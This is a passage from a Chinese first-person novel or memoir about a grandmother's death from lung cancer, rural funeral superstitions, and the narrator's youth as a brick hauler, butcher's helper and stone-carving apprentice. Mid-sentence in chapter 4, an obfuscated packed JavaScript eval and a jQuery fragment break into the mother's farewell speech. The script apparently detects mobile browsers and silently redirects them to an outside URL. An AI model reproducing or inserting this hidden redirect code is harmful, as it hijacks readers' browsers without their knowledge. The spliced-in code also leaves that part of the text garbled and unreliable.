我站在椅子旁,看着脸色苍白如纸的奶奶艰难地说完这番话,泪如雨下,心如刀割。
又过了两天,奶奶的胸腔和肚子突然肿胀起来,像被吹了气似的高高隆起。她每一次呼吸都变得万分艰难,伴随着极度痛苦的呻吟;每一次呼吸都会让脸部和手部的青筋暴起,浑身颤抖不止;每一次呼吸都使她布满血丝的眼珠向上翻涌,仿佛快要蹦出来一般。
奶奶再也无法挪动分毫,也说不出一句话,只剩下一副骨瘦如柴的身躯和微弱的气息。她面如死灰,毫无生机,全身筋脉因剧烈疼痛不停抽搐。从她绝望的眼神里,我看出她只想尽快结束生命,不愿再承受这种非人的折磨——可那时的她,不仅失去了活着的自由,连死去的自由也丧失了。我脑海中不断闪过希望她尽早断气的念头,实在不忍心看她受这般折磨。虽然祈祷她早点死去能早点解脱,但又隐隐觉得这是大逆不道,甚至是一种邪恶。
爷爷不停地用衣袖擦着眼泪,终于在草席边如实告诉奶奶:她患的是肺癌,而且已是晚期。在云南昆明的大医院时,医生就说奶奶的癌细胞已经扩散到全身,所剩时间不多了。说完,爷爷像个孩子似的扑倒在奶奶身旁,撕心裂肺地痛哭起来。父亲和母亲也扑倒在奶奶躺着的草席前,像迷路的孩子丢失了母亲般嚎啕大哭。我痛心入骨地跪坐在奶奶身边,潸然泪下。
奶奶的呻吟声越来越小,呼吸也越来越微弱。
爷爷佝偻着腰,头缩进双肩里,脸色铁青,双手紧紧握成拳头放在身前,布满血丝的双眼死死盯着垂死挣扎的奶奶。奶奶的身躯蜷缩成虾米状,四肢似乎还想用力伸直,却被持续强烈的筋脉收缩对抗着,整个身体像触电般颤抖抽搐。她的眼珠不停地向上翻动,口里发出细如游丝的呻吟,脑袋轻微地左右晃动。她的生命就像狂风中的烛火,随时可能在某一瞬间骤然熄灭,坠入无尽的黑暗。
奶奶离世前的最后一夜,全家人都哭着守在她身边。她虽被巨大的病痛折磨,却连一丝痛苦的呻吟都发不出来。但没过多久,她面部的经脉渐渐松弛下来,四肢也不再颤抖,眼睛自然地闭上了,呼吸轻短而急促。因连续好几天滴水未进,嘴唇和舌头早已干枯开裂。咳嗽声终于停了,只有鲜血不断从嘴角流出。
后来我才知道,癌症被称作万病之王,患者在临终前往往要承受难以想象的剧痛与折磨。绝大多数人在最后阶段都需要大量止痛药,可奶奶自始至终没用过哪怕一丁点。
奶奶弥留的那天早上,爷爷的眼睛哭得肿得睁不开,只能偶尔勉强眯开一条缝,看奶奶最后几眼。父亲、母亲,还有本家的大伯二伯,都守在奶奶身边,静静等着她咽下最后一口气。
二婶又站在我家门口,不停地念叨:“这都是命啊!她要是有钱,哪怕像王国荣那样当个老师,肯定能多活些日子。再说了,真要是那样的人,日子过得好,还有定期体检,也不至于到这地步。这全是命啊!”她自顾自说着,见没人搭话,又想起了老规矩,早早去请了十几公里外最有名的风水先生兼算命大师刘汉源。
等二婶把刘汉源请到奶奶身边时,奶奶只剩微弱的气息,神态安详,眼睛自然闭着,面容慈祥,已经进入弥留之际的平静状态。
刘汉源一看,赶紧掐指一算,忽然大喊:“千万不能让她现在走!必须拖到日落!现在是中午,这时候走就是‘饿死鬼’,对你们家人和全村都不好,以后她的魂魄会回来索纸钱祭品的!”
本家的大伯二伯和二婶一听,急忙冲奶奶大声呼喊,还拼命摇晃她的身体。奶奶原本平静安详的神色瞬间扭曲,呼吸变得痛苦而急促,她仿佛微微眯眼瞥了二婶一下,又很快闭上了。
在三人轮流的呼喊和摇晃中,奶奶在生死间艰难挣扎,几十分钟后才恢复安详,呼吸又变得微弱短促,再次进入弥留的宁静。
刘汉源见状,又高声喊:“快找几根针!往她手指和脚趾的指甲缝里扎!绝不能让她现在走!”
大伯二伯和二婶立刻找来缝衣钢针,照着做了。奶奶在反复的折磨里又挣扎了几十分钟,直到下午三点才彻底断气。二婶看太阳还没落山,一边抱怨大伯二伯扎得不够用力,一边慌着问刘汉源有没有补救办法。
刘汉源又掐指算了算,转头对父亲说:“你提前准备好纸钱、九个鸡蛋、一只公鸡,明天下葬时祭鬼神,也给黑白无常打点下,让他们跟孟婆说多给她灌点迷魂汤,让她彻底忘了回家的路。”
母亲默默流泪,勉强撑着发软的身体,挑了几件干净点的衣服,让我帮忙给奶奶换上。
爷爷眯着肿眼,哑着嗓子让我把奶奶露在外面的身体擦一遍。我想起当年奶奶给哥哥擦遗体的样子,用一块湿破布,慢慢擦去奶奶脸上和手脚上的血迹污垢。
晚上,本家的大伯二伯找来四块木板,先用草席把奶奶的遗体裹起来,再在草席四周放上木板,用绳子像绑粽子一样捆好。虽说比当年只用草席裹哥哥体面多了,但奶□□顶的白发和破烂的脚底,还是清晰可见。
他们把奶奶的遗体裹好后,像当年放哥哥那样,横放在小屋中央。等着明天早上刘汉源来到的时候,传统的出殡仪式刚结束,我们便合力将奶奶抬到埋葬哥哥的地方安葬。
那一夜,爷爷躺在奶奶的遗体旁,闭着眼睛,没有哭泣,也没有眼泪——他的泪早已流干,心已成了灰烬。任由老鼠爬过他冰冷麻木的身躯,啃咬他的衣服,舔舐他干涸的嘴唇。
在弥漫着霉烂味的小屋里,我和父母,还有远嫁的姐姐们,全家人再次被悲伤与失落包围,被无边的痛苦与冷寂缠绕。这世间滔滔,我们从未有过一根可以依靠的稻草!我们生得像黑暗墙角的蟑螂!活得像阴暗洞穴的蝼蚁!枉费投胎为人一场,我们的日子竟如此艰难与痛苦!
哥哥和奶奶相继离去,对他们而言,或许只是从绝望无助的贫穷,走向永恒的冰冷与孤单。可对我、爷爷、父母和姐姐们来说,却是一场惊天动地的持久痛苦,一段无休无止的悲伤回忆。
那一夜,我坐在小屋门口,看着圆月在群山之巅幽幽升起,山村渐渐褪去黑夜的笼罩,皎洁的月光缓缓给大地披上一层银白的轻纱。秋夜的流云迈着轻快的步伐奔向夜的怀抱,轻盈地浮停在静谧的夜空,世界如此美好恬静,我却那样痛苦悲伤。
第二天早上,刘汉源拿着一只铜铃,穿着黑白相间的长袍来到我家门口,念了一阵模糊不清的咒语,烧了些纸钱,又杀了父亲准备好的公鸡,将鸡血泼洒在屋子四周,接着吩咐父亲把九个鸡蛋和公鸡一起煮熟,带上山放在奶奶的墓前,敬供鬼神,也向“黑白无常”表示心意。
王氏本家的大伯二伯一前一后,合力将装有奶奶遗体的木匣子扛在肩上,抬到埋着哥哥尸骨的地方,重新挖了个新土坑,一铲一铲用红泥土把奶奶的遗体埋了下去。
奶奶生前曾收养过两只因巢穴掉落而无家可归的幼年八哥。她一直对它们关爱有加,每当出远门或去外地看病,都会反复叮嘱父母好好照管,定期投喂食物、加水。奶奶去世后,有一天爷爷准备给八哥喂食,却若有所思地站在笼子前,呆呆看了它们一会儿,然后做出一个让我疑惑的决定——他竟把两只八哥从笼子里放了出来,任凭它们在门口走动跳跃,还把玉米粒撒在地上,让它们尝试自由啄食。爷爷看着不停扇动翅膀、跃跃欲飞的八哥,若有所悟地转头对我说:“我们该让它们有选择被囚禁或自由飞翔的权利,不然它们就失去了作为鸟类的基本意义,我们把它们养大的价值和意义也没了。”没过几天,八哥果然学会了在我家附近自己寻找食物和水源。又过了几天,它们真的自由自在地展翅飞走了。
自从奶奶离世,爷爷整天郁郁寡欢。不到半年,他也无疾而终,追着奶奶去了。
4. 第 4 章
初中毕业那年,我十六岁。背着天蓝色帆布包的邮递员,跋涉了数十公里崎岖山路,准时把高中录取通知书送到了正在地里挖土豆的我手中。
父亲不再愤怒,只剩逆来顺受的麻木,只是看到我就机械地重复:“你哥哥和爷爷奶奶都走了,你母亲只剩半条命,我也六十三岁了,你还执意要上高中!这是哈巴狗舔牛奶——够不着的事。你别指望我给你一分钱,以后我也绝不会靠你养老。”
母亲的眼睛越来越看不清,只有太阳当空时,才能用拐杖撑着,深一脚浅一脚地慢慢走一段路,却仍常摔得头破血流。她身体越来越虚弱,坐着或躺着想站起身都很困难,整天佝偻着腰,双手软绵绵地放在膝盖上,头缩在瘦弱的双肩里,像尊活雕塑坐在门口石板上,惆怅地望着虚无的远方。
开学那天早上,母亲把我叫到床前,用皮包骨的手颤抖着从枕头旁的墙缝里拖出一个又皱又黑的破塑料袋,里面装着很多5分、1角、5角,最大面额不过2元的零钱,母亲轻轻攥着我的手,语重心长地说:“你往后的所有路、所有坎,无论风里雨里,还是泥里水里,都只能靠你自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334294|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己。生你养你一场,我也只能送你到这里了。”
我扛起装着行李的尿素化肥口袋,带着离开大山的渴望和对远方的向往,独自走向40公里外的鲁亮县城,走向未知的明天。我像波涛汹涌的大海上茫然无措的浮萍,不知会被巨浪卷向何方,却依然毅然决然,孤单地向大海深处漂去。
时隔多年,如今回想起来,我当年实在太不应该,也太过自私——因为那塑料袋里的零钱,是家里的全部积蓄。我竟然连她买止痛片、头痛粉和地塞米松的保命钱,都没能给她留下分毫。
5. 第 5 章
高中一年级结束的那个暑假,我像往常上学时的每个周末一样,独自卸完两轮人力车上的砖块后,总会回到建筑工地上的石棉瓦简易房里喝一瓢凉水。那天喝完水走出简易房时,我顺便瞟了一眼挂在铁皮门上的日历——农历六月十四,中伏,宜结婚、出行、搬家。
用两轮人力车从砖窑厂往工地搬运砖块,自装自卸,每块砖能挣两分钱。搬运的来回距离大约六公里,路面坑洼不平,是红色泥土混着零星碎石铺成的。装满一车砖有130块,拉一趟能挣2.6元。要是天气晴朗,我从早干到太阳落山能拉4车。那条崎岖的路我早已熟稔,毕竟整个高一的所有周末,我都在从砖窑厂往不同工地运砖。
在繁华的鲁亮县城,我能依靠的只有自己的力气,没别的可以指望;我不能失去的只有自己的生命,没什么是不能舍弃的。
那天和往常一样,我像骡马般气喘吁吁地拉完两车砖。走出简易房重新拉起人力车,顶着炎炎烈日再次离开工地时,东南方的天空乌云滚滚,浓密的云层间交织着白亮的闪电。强劲的东南风裹着雨腥味,在地上卷起碎屑尘土,在微凉的空气里盘旋扭曲,升腾四散。
我抬头看了眼黑压压的云团,犹豫了一下,但很快打消了休息的念头。
于是我一路小跑赶到砖窑厂,刚装满一车砖准备往回走,狂风骤然停了呼啸,原本横飞的柳条倏地垂了下来。忽然,震耳欲聋的惊雷仿佛在头顶炸裂,耀眼的闪电猛地抽打在周围地面,炫目的强光一道接一道,晃得我眼花缭乱、视线模糊。
拉着满车砖刚走出砖窑厂,迎面又刮来一阵急促的东南风,风里夹着豆大的雨粒,像断了线的珠帘从暗沉的天空倾泻而下。
路面瞬间腾起灰尘与雨滴混合的烟雾,混沌的雾气迅速笼罩一切,天地间成了灰蒙蒙的一片。千万道雨流像箭一样射向周围农田,发出震耳的巨响。硕大的雨滴砸得我头顶“啪啪”响,眼冒金星,雨水顺着脑门像瀑布般流下,眼前一片模糊眩晕。哗啦啦的白茫茫水流开始在地面四处奔涌,我根本分不清哪里是相对平坦的路面,哪边是回工地的方向,只能低着头眯起眼睛,凭着辨认或猜测的车辙痕迹,沿着若有若无的印记,用尽全身力气抖索着往前拽车柄。车轮像被胶水粘住似的难以滚动,红泥土路面在雨水浸泡下变得异常松软泥泞,人力车缓缓移动时总在左右打滑。每艰难前行几十米,快要烧起来的肺和几乎蹦出的心脏就迫使我停下来,弯着腰大口喘息。
狭窄路面的高处,倾盆大雨下快速冒出无数条红色水流,借着重力加速往低洼处涌泄,在相对狭窄的斜坡处迅速汇聚成一条铺满路面的汹涌激流,混着洪水、泥沙、垃圾和枯枝碎屑。
我孤单地站在狂风骤雨里,澎湃的洪水已淹到小腿。密集的雨粒猛烈敲打着我昏沉的脑袋、冰冷的后背和酸痛的手臂,湿黏的衣服裤子缠裹着麻木的身躯,不知何时滑落的鞋子被水冲走了一只。雨里、水里、风里、雾里,我看不清回工地的方向,也辨不出地面的车辙。
我像被这繁华世界遗弃在荒原的孤儿,在痛苦挣扎中无助又孤单,脑海一片空白,只有胸口呼出的那口热气,让我意识到自己还活着。
我不知道在狂风暴雨里待了多久,天色渐渐暗下来,远处通明的路灯和闪烁的霓虹已经点亮,染红了鲁亮县城喧嚣繁华的上空。
天马上就要黑了,今晚无论如何都要把这车砖运回去。要是遗弃在半路,造成的损失根本不是我能承担的。
我不顾一切地挣扎,不顾一切地拼命向前,深一脚深一脚,我拼尽全力将人力车一寸寸、一步步、一米米地往前拽,往前挪。暴雨里被淋湿的车砖异常沉重,洪水的阻力、双轮不规则的侧向滑动,让我手臂的疼痛如锥心刺骨,双腿的酸麻似扒皮抽筋。
在那条三公里左右、满是泥泞与洪水的路上,我几步一小歇,十几步一大歇。记不清多少次滑跪在淤泥里,多少次摔倒在洪水里,多少次咬牙跪着站起来继续前进。我像极了一条饥寒困乏、孤单无助、快要死去的丧家犬。
在虚脱的挣扎中,无边无际的黑暗里,直到晚上十点我才回到工地。走进石棉瓦简易房时,我哆嗦得像严冬腊月里随时会被寒风卷落的枯叶。我异常艰难地脱下仍在滴水的衣裤,迎面扑卧在僵硬的木板床上,软绵的双臂向后伸直,渗着鲜血的掌心朝上。在持续的高烧里,迷迷糊糊的昏睡中,我度过了极为漫长的一夜。
那年暑假,我搬砖理论上挣了数百元,可直到二十多年后的今天,依然连一分钱都没拿到。
曾经我非常恨那个包工头,也恨那个拿公文包的领导。但后来发现,带着仇恨生活只会很累很辛苦。有时候理解、原谅与包容他人,其实是放过自己、宽恕自己、让自己快乐。人活着不是为了仇恨、控诉或抱怨,而是为了追逐心中的美好与发自内心的热爱。对喜与悲泰然处之,对善与恶一视同仁,用美和爱与世界和平相处。
有时候能吃饱饭,对有些人来说是极其艰难的事。有多少人为了吃饭,付出了全部努力;有多少人为了吃饭,放下了所有人格与尊严;又有多少人为了吃好饭,不惜把良知卖给魔鬼。
上初中时,大部分同学都来自附近十几公里的山村,家庭条件差不多,没太多差异。可到几十公里外的鲁亮县城上高中,面对穿着光鲜亮丽、干净整洁的县城同学,我还穿着母亲用破布针线纳的千层底布鞋,衣裤补丁叠着补丁,显得格外惹眼、寒酸潦倒。如果三年初中最清晰的记忆是又冷又饿,那高一最深刻的记忆不仅是又冷又饿,还多了沉重的心理负担——我在同学眼里像个衣衫褴褛的“怪物”。记得有一次,我从校门口垃圾桶捡到一双别人丢弃的翻毛皮鞋,结果不仅被同学嘲笑,还有几名男生夺下我穿在脚上的鞋,在教室里当足球踢。
高二开学时,我辍学了。
经一位女同学介绍,我去给姓雷的屠夫做帮工兼学徒。他身边的人常叫他雷叔,雷叔48岁,浓眉阔鼻,沉默寡言,眼睛却炯炯有神。干枯瘦弱的手总在微微颤抖,常年穿一双高筒水鞋,戴一副洗得发白的袖套。
每天凌晨四点,他总能准时起床,先轻声准备好杀猪的器具,再叫醒我,一起到鲁亮县城东门街菜市场旁的临时猪圈。他用一只黝黑锋利的钢钩,熟练钩住猪肉贩子指定的猪脖子。猪吃痛挣扎几下,发现越挣扎越疼,便慢慢不再动弹,只是仍撕心裂肺地嚎叫。
雷叔在前用钩子拖猪,我在后推猪屁股,合力把猪赶到沸腾的大铁锅旁。雷叔从桌上拿起锋利的屠刀,用力提了提钩子,露出猪脖子下方的胸腔,选准正对心脏的位置,将屠刀直刺进去,直没刀柄。他用脚把接猪血的盆踢到刀柄正下方,顺势抽出屠刀,鲜血如喷泉般涌出,流入放了食盐的盆中。随着猪的嚎叫声减弱,血流枯竭,猪不再挣扎,软绵绵斜躺在大锅边。几个卖肉小贩围上来,揪耳朵、薅尾巴、抬四肢,七手八脚把猪抬进大锅,烫皮、刮毛、洗净,抬上案板等雷叔去头、去颈、开膛破肚,分割成四大块搬入菜市场,准备迎接早客。
每一头被贩卖到这里的猪,都将经历着完全相同的流程:一样的惊慌失措,一样的徒劳挣扎,一样的绝命哀嚎,最终落得一样被分食的结局。其实这与我们的人生,在某些层面有着相似的逻辑与循环。不同之处在于,人类拥有更多独立精神与自由意志,能够客观冷静地深入思考和分析问题,拥有深刻的思想情感意识,以及丰富的经历与体验。
当东方开始泛白,太阳升起时,我蹬着三轮车把雷叔割下的十几个猪头运到他的卤肉铺后堂,随即开启了一天的工作:先用开水烫刮去毛,再用烧红的铁棍烫烙去除缝隙里的绒毛,将表皮刮白洗净后把整个猪头煮熟;接着用斧头从中间破开,一分为二,去骨洗净;然后按猪耳朵、猪脸、舌头、拱嘴等部位分割,再次洗净并去除舌衣、鼻腔黏膜等;最后加入卤味作料烹煮入味着色,再次分割整理后上架等候出售。
每次目睹雷叔杀猪的过程,我总会生出于心不忍的难受与痛楚。猪垂死的绝命哀嚎灌入耳朵,总会带来一种深入骨髓的悲伤,常常让我彻夜难眠,甚至有时会联想到哥哥和奶奶去世时的种种画面。
雷叔究竟因何成为屠夫?看他的言谈举止,以及对生命的思考与见解,绝不应该只是徘徊在杀戮与鲜血中的一介莽夫,而应是曾与命运不屈抗争、久经风霜的勇者。
在一个风和日丽的下午,雷叔坐在卤肉店门槛上望着天空发呆,我挨着他肩并肩坐下。看着他黝黑沧桑的脸庞,我好奇地问:“雷叔,您年轻时是做什么的?为什么会从事屠夫这个职业?”
雷叔似乎有些诧异地扭头看我,沉默半晌后,表情微微染上悲凉。他低头看着自己的脚尖缓缓说:“1960年,我11岁,父亲饿死了。为了活下去,我和母亲、妹妹常常由我独自到深山里捕捉动物回来充饥。有一次,我抓住一条蛇正准备带回家时,碰巧被人民公社的社长看到,社长说公社正好缺个胆大的屠夫,我便成了为公社服务、专门宰鸡杀猪的小屠夫。
1968年,我有个远房表叔在台湾,受此牵连,全家被划为境外敌对势力的间谍走狗阶级。母亲和妹妹受不了整天被批斗凌辱的痛苦,在一个深夜里,母亲用绳子绑着妹妹一起投河自杀了。直到1976年,我才结束白天干活、晚上跪着或被吊着上思想道德教育课的日子。恢复自由后,我白天下地耕种,晚上给村里及附近村庄的人提供宰鸡杀猪服务。1991年,一个猪贩子邀请我到这里,每天固定帮他杀猪,猪头作为我的工资报酬,我便一直做到现在。当初因为出身不好、无父无母,又是社会声誉不佳的屠夫,没有姑娘愿意嫁给我。一晃就光棍到快50岁,现在就更不可能找媳妇了。有时候,一个人年过35岁,如果餐桌上没找到自己的位置,就该赶紧去厨房看看——自己可能不在菜单上,就在下水道里。”
雷叔带着些内心不平的感叹继续补充:“有时人类最大的不幸与悲哀,是没有道德底线或敬畏之心的人,整天给有思想、有道德底线的人上道德课;不创造价值、不劳而获的人,整天吵着要为靠劳动养活自己和他人的人‘服务’,还强行要求那些付出艰辛劳动的人感谢他们这些劳动少或不劳而获的人。”
说完,他扭头侧身背对着我,呆呆望着货架上一块棕红色的猪拱嘴,默不作声。良久,他转过身岔开话题,声音有些干涩地对我说:“其实我们宰鸡杀猪并不可怕,也不算非常残忍。真正可怕与残忍的是人害人、人杀人,甚至人吃人。你看看历史上那些惨绝人寰的酷刑:活生生的人要被千刀万剐,灭绝人性地折磨七天之久,还不能让受刑者轻易死去,同时要求受刑者的同僚、族人、亲人、朋友到现场观刑——想想都让人不寒而栗、毛发倒竖。旁边围观的群众,不仅鼓掌欢呼、呐喊助威,还争相出钱向刽子手购买刚剐下的人肉食用。你想想看,是不是有许多我们的同类、我们的同胞,死得竟不如鸡猪直接、不如鸡猪痛快?”
两个月后,雷叔突然递给我五百元钱,拍着我的肩膀说:“你太心慈手软,也不喜欢血腥味,将来成不了好屠夫。你还年轻,我介绍你去一家石材厂,学门雕刻手艺吧!”
我默默接过每张都沾着油渍与肉腥味的钞票,欲言又止,最终在愕然与感激中轻轻说了声“谢谢”。
第二天下午,我来到鲁亮县城东南城郊公路边,雷叔介绍的露天石材厂。
厂门两旁整齐排列着一尊尊青石灰岩圆雕的狮子,威武雄壮、气势凌人。有的高达数米,有的仅几十公分,千姿百态、形态各异,活灵活现。
一排排即将交付的花岗岩墓碑静静立在正对大门的空地上。碑檐以浮雕与绘画结合的手法,清晰呈现龙凤呈祥或双龙戏珠图;中下部分用线雕与沉雕相融的技法,刻着碑的抬头、正文与落款;边沿则以写意、重叠、阴影的绘画手法,描摹日月神兽图案与高山流水花纹;四周轮廓辅以粗细深浅不一的柔美线条,将整块墓碑营造出浓郁的艺术感与厚重的古朴感。
我四处搜寻,走到墓碑群后的石屋门口,见屋内几个浑身沾着石灰的中年男人围坐抽着水烟筒。我轻轻敲了两下本就开着的门,微笑着走进,看向其中一个正上下打量我的络腮胡中年男人问道:“您好!请问李宝见师傅在吗?我是雷叔介绍来的。”
络腮胡男人扭头望向角落抽旱烟斗、蓬头垢面的瘦弱老者,说:“李师傅,您要收的关门弟子来了!”
李师傅闻言并未起身,依旧自顾自“吧嗒吧嗒”抽着烟斗,只抬手指了指旁边的石凳示意我坐下。他仔细抽完烟斗里的旱烟,清理干净后用黄色丝布包好,谨慎地塞进制衣兜,随即用锐利的目光审视我。过了好一会儿,他才沉声说:“雕刻是创造生命的艺术!最精美的作品,必然经匠人最久打磨、最多凿击,因此雕刻既辛苦又需极强耐心。学习雕刻要持之以恒,重复再重复,直到你刻出的东西有了让人爱不释手的凹凸曲线,才算真正达到美的境界,成为艺术品。”
李师傅轻咳几声,语重心长地补充:“听老雷说你学东西快、一点就通,我才想收你做关门徒弟,不然不会跟你讲这些高深的道理。”
“跟我来吧!先看我雕一头小石狮子,再从墨斗打线、切割、打平、刻斜线这些基础活儿学起。”李师傅说着起身走出石屋,带我来到一块毫无狮子轮廓的青石灰岩旁。
“雕刻是以刀钻代笔、以形意写神,需用心与作品交流,在方寸间刻出大千世界,要有极高专注力、超强耐心与闪现的灵感。雕刻师的作品不只是商品,更倾注了意念与心血,记载着雕刻时的喜怒哀乐、情感走向与内心世界。”李师傅讲完雕刻艺术,又介绍了工具用法、手法及注意事项,随后拿起小锤与钢钻,专心致志地雕刻起来。
一块普通的青石灰岩,在他轻盈流畅的钢钻雕琢下,冰冷坚硬的石块缓缓化作一头栩栩如生的小石狮子,仿佛一个全新生命以优雅姿态被创生。它似被造物主灵魂附体,将天地间狮子的灵气凝聚在矫捷的钻尖上——不怒自威的眉眼、高耸的鼻梁、随风飘扬的鬃毛……毛发、微微翕动的嘴唇……均行云流水般跃然于石块之上。
“石狮子并不好卖,很多雕刻好的成品常年只能摆在这里做展示。你们鲁亮县还是墓碑最畅销,无论多贵多大的墓碑都有人买。要想多挣钱,就得天天雕刻墓碑才行。”李师傅拍了拍身上的灰尘,向我介绍石材厂的销售情况时,才将沉浸在狮子昂首阔步姿态中的我唤醒。
鲁亮县城及周边的传统葬礼,向来盛大、隆重且阔气。
许多年迈老人在世时,儿女们不闻不问、不管不顾,甚至为了利益反目成仇。可一旦老人去世,各路孝子孝女便迅速蜂拥而至,哭天抢地,视金钱如粪土,不惜一切争相操办丧事。仿佛非要让“外人”或亲戚朋友由衷感叹:“这老人能办这么宏大奢华的葬礼,这辈子值了!这家人真有钱有势,子孙也真孝顺!”
灵堂必须扎得高大威武、张灯结彩,尽显雍容华贵。牵牛赶猪、杀鸡宰羊,贡品得是大鱼大肉,琳琅满目堆积如山。庄重的哀乐、撕心裂肺的哭嚎录音,要用最大功率的音响从黎明反复播放到深夜。有的还设24小时不间断的流水席,不管认不认识、熟不熟悉,只要听闻或路过的人都是客,一律好酒好肉款待。
出殡那天,一路上锣鼓喧天、鞭炮齐鸣、载歌载舞。沿途马路两边早早挤满观礼人群,空气中弥漫着节日般的喜庆。男女老少欢声笑语、交头接耳,翘首等候送葬队伍到来。走在最前面的是两辆装甲战车模样的礼炮车,紧随其后的是彩旗飘飘的黑色轿车方队;载满音响的皮卡车方队用最大音量播放着震耳欲聋的劲爆流行歌曲;后面跟着露大腿露肚脐、不停扭腰的摩登女郎方队;浓妆艳抹、嘴唇鲜红的大妈方队晃动着五彩扇子,跳着与音乐节奏不协调的广场舞,缓步跟在摩登女郎身后;大妈方队之后是远方亲戚朋友组成的观礼方队,他们手拿肩扛纸糊的牛马、电器、家具、豪华汽车,还有银白色滚龙、金黄色吊钱和五彩花圈;再后面是身穿黑白长袍、手持铜铃的风水先生团队,撒纸钱的引路人,挑烟花爆竹的挑夫,以及负责燃放的炮手团队;车顶装满音响的黑色越野车方队压轴登场,车上载着几个手持话筒、哭得伤心欲绝的职业哭丧人;最后是装着逝者的黑色棺材,以及披麻戴孝、一片雪白的逝者家属方队。
送葬队伍所过之处,交通中断,喧嚣吵闹,烟雾弥漫,满地碎屑垃圾,一片狼藉。
李师傅是上海人。他父亲曾远渡重洋到法国巴黎美术学院留学多年,1967年被划为“资本主义走狗派”“西方买办”,不幸被捕后死于狱中。
李师傅自幼随父学习绘画与雕刻艺术,1966年被迫高中辍学,随“知青上山下乡”洪流被分配到云南西双版纳自治州支援边疆建设。后经多次调动辗转,来到雷叔所在的人民公社,成为墙体大字画报宣传员。
他与雷叔有着相似的人生经历,在公社里是极好的朋友,也是生死相依的兄弟。我到石材厂不久,他或许把我当成了多年雕刻经验的真正传人,对我格外和蔼,常亲力亲为、手把手教导,不厌其烦地讲解各种雕刻手法技巧,以及他对雕刻艺术的心得感悟。有时晚上还特地留我,在石屋昏暗的灯光下教我画动物素描,或讲荷兰后印象派画家文森特·梵高、西班牙画家巴勃罗·毕加索等人的传奇故事。
李师傅性格孤僻,白天在石材厂专心雕刻动物、墓碑、屏风与亭台楼阁,晚上吃住都在厂内简陋的石屋里,极少去鲁亮县城闲逛。他似乎除了雷叔,再没有别的朋友。他通过雕刻赚来的钱,大部分都分给了学徒,剩下的小部分则定期寄给远在上海的老母亲。和雷叔一样,他也是孑然一身,五十多岁仍未娶妻生子。或许是坎坷的经历,又或许是对雕刻艺术的极致追求,他始终固执地认为:有趣的孤独远胜过虚伪的社交,孤独是灵魂的高级形态。那些喜欢随波逐流、盲目从众的乌合之众,心中总会潜藏着一头沉睡的嗜血怪兽,只需一点宣扬仇恨、歌颂暴力或鼓吹集体主义至上的火星,就能将它唤醒。
我与李师傅的师徒情谊,在三个月后的一个下午戛然而止。
那是个风和日丽的午后,微风像情人的手般温柔,天空如孩童的眼睛般清澈。他像往常无数个午后一样,在石材厂专心致志地雕刻着一头貔貅,浑然忘我。一辆来拉墓碑的农用车突然冒出滚滚黑烟,失控加速冲来,撞倒了他身后一块竖立的高大石板。当时他正蹲在石板下聚精会神地雕刻,重重倒下的石板砸中了他的头部。还没来得及送到鲁亮县第一人民医院门口,他就永远离开了这个世界。
人生有时就是如此残忍,有些人像风一样悄无声息地掠过你身边,你还没来得及完整触摸,他们便瞬间消失得无影无踪。昨天不经意的一眼可能是最后一眼,今天随意的一别或许就是永别。再见容易,再见面难;以后之后,再无以后。
我与李师傅相处的时间虽短,但他于我而言,不仅是授业恩师,更是人生路上的精神导师。在残酷的现实面前,悲伤有时也需要资格的通行证。生活在社会底层的人,并非没有梦想、不懂改变或不思进取,而是被太多无奈、无助与无能为力束缚。他们只能紧紧抓住眼前的苟且,才能有饭吃、有衣穿,才能继续活下去。或许他们也曾有过梦想,只是被现实的重担压得喘不过气,无法自由呼吸、自由飞翔。最后,梦想真的成了只能在梦中幻想的存在,甚至连梦都不敢做——因为梦了会心痛,想了会心碎。
我和雷叔,还有几个热心的学徒一起草草料理完李师傅的后事,便为了各自的生计匆匆各奔东西。
后来雷叔帮我介绍到鲁亮县中枢镇农机站做检审农用车的临时工。农机站的黄站长英俊高大,头发梳成整齐的大背头,为人直爽诚恳又热情。
到农机站后,我跟着黄站长一行人早出晚归,每天去中枢镇下属的各个村庄例行检审农用车。我的工作是查验农用车的发动机号、车架号是否与登记信息一致,检查车厢是否有加高加长,以及是否改装过液压翻斗。
黄站长有两个女儿:大女儿黄明月和我同龄,曾和我在同一所中学同年级读书,只是不同班。当时正值她高二寒假,黄站长便带她一起做检审的临时工,负责登记和查验行驶证。小女儿黄明玉比我小三岁,正在读初二,闲着没事就整天跟在姐姐身边上蹿下跳、嬉皮笑脸,像只在森林里自由穿梭的百灵鸟。
黄明月小巧玲珑,丰肌秀骨,明眸皓齿,说话轻声细语,乌黑浓密的秀发如瀑布般垂在肩上,举手投足间透着文静与端庄。她是我第一次近距离接触的县城女孩,在那时的我眼里,她就像美丽的天使般圣洁不可亵渎,而我则是卑微到尘埃里的癞蛤蟆。偶尔我也会幻想,如果自己出生在鲁亮县城或附近该多好——那样我不仅能继续上学,还能经常在学校里见到她。
有天下午来检审的农用车不多,大家都闲着发呆。她好奇地看着我问道:“你家是哪里的?在哪上学呀?”
我犹豫了一下,结结巴巴地回答:“我家在龙海山后面的深山里,属于大寨村委会钻天窝棚村。离鲁亮县城很远,走路差不多要十个小时。”
她一脸惊讶地看着我:“既然这么远,为什么要走路呢?我从没去过龙海山后面。那你在哪上学呀?”她继续追问。我心中五味杂陈,一阵悲凉的酸楚涌上心头,强装微笑对她说:“我已经半年多没上学了。”
那时我真切感受到,我与黄明月的差距远不止家境贫富那么简单——在对世界的认知、自信、格局、眼界,以及看待问题的方式等方方面面,都存在着巨大鸿沟。我的起跑线不是零,而是负数。我需要用很长时间努力,或许才能达到别人唾手可得的温饱;可能要花更久的拼搏,才勉强能站在别人所谓的起跑线上!
我总怕被人嘲笑、看不起,满是多愁善感;骨子里藏着低人一等的自卑,还有一颗太在意他人看法、渴望被认同的玻璃心。
或许每个成年人身上,都或多或少带着原生家庭的印记——环境的轮廓、温度,以及童年时经历的欢乐、阳光与阴影。
春节将近时,黄站长邀请所有参与车辆检审的临时工去他家做客。
